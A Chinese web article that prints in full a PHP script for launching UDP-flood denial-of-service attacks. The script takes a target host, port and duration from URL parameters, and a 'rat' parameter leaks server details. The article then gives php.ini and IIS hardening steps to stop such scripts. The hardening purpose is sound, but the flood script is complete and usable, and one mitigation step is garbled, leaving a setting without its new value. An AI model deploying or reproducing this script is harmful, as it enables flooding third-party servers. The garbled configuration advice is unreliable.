利用百度搜索一下午phpddos代码,代码如下
代码如下 | 复制代码 |
<?php set_time_limit(999999); $host = $_GET['host']; $port = $_GET['port']; $exec_time = $_GET['time']; $Sendlen = 65535; $packets = 0; ignore_user_abort(True); if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ if (StrLen($_GET['rat'])<>0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER ['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo "Parameters can not be empty!"; exit; } for($i=0;$i<$Sendlen;$i++){ $out .= "A"; } $max_time = time()+$exec_time; while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Send Host:$host:$port<br><br>"; echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/ $exec_time*$Sendlen/1024/1024, 2) . " mb/s"; ?> |
这段程序其实简单,我们会发现有这么一句$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 这就是问题所在了,那么为了以后再出来问题,我们先把fsockopen给关了,注意如果你用了phpmailer组件这个关了就不能发邮件了,
关闭fsockopen具体方案如下
打开你的php.ini文件
代码如下 | 复制代码 |
disable_functions = popen,exec,passthru,system,fsockopen,pfsockopen |
重启apache就可以了,但是这样把所有功能都限制了,如果我们只想限制fsockopen可以如下操作。
同样在php.ini里面找到
代码如下 | 复制代码 |
allow_url_fopen = On 改成 再把 extension=php_sockets.dll |
重启apache就可以了。
其它参考方案
把你的php.ini设置为安全模式,这个不是什么好办法,不过也讲一下php safe_mode=on 或把set_time_limit超时时间设置为1秒,
如果你是iis服务器可参考如下操作
1)打开Internet 信息服务(IIS)管理器,右键点“我的计算机”——属性,
选上“允许直接编辑配置数据库(N)”,确定。(这一步也可以先停止IIS,然后找到
代码如下 | 复制代码 |
C:\Windows\system32\inetsrv\MetaBase.xml) |
2) 用编辑器打开
代码如下 | 复制代码 |
C:\Windows\system32\inetsrv\MetaBase.xml. |
查找关键词为:MinFileBytesPerSec ,将默认值240 修改为0.
查找 ConnectionTimeout 的值修改为 600.
保存退出。
3)重新起动IIS服务
相关参考
关于php外部发送大量数据包解决方法
时间: 2024-09-25 22:55:37